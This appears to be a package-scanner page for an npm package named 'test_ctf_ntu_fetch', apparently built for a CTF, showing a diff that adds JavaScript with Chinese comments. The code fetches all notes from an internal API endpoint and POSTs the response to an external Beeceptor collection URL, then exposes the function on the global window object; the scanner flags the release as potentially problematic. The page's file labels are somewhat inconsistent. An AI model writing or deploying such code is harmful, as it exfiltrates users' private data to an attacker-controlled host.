test_ctf_ntu_fetch 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of test_ctf_ntu_fetch might be problematic. Click here for more details.
- package/package.json +11 -0
- package/test_ctf_ntu_fetch.js +15 -0
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
function leakDataFromEndpoint() {
|
2
|
+
fetch('http://10.113.184.121:10082/api/notes/all') // 注意:这是跨域请求
|
3
|
+
.then(response => response.json())
|
4
|
+
.then(data => {
|
5
|
+
fetch('https://ntuctf.free.beeceptor.com', { // 你的 Beeceptor 端点
|
6
|
+
method: 'POST',
|
7
|
+
body: JSON.stringify(data),
|
8
|
+
headers: { 'Content-Type': 'application/json' }
|
9
|
+
});
|
10
|
+
})
|
11
|
+
.catch(error => console.error('Error:', error));
|
12
|
+
}
|
13
|
+
|
14
|
+
// 把leakDataFromEndpoint暴露到全局作用域,以便在外部调用
|
15
|
+
window.leakDataFromEndpoint = leakDataFromEndpoint;
|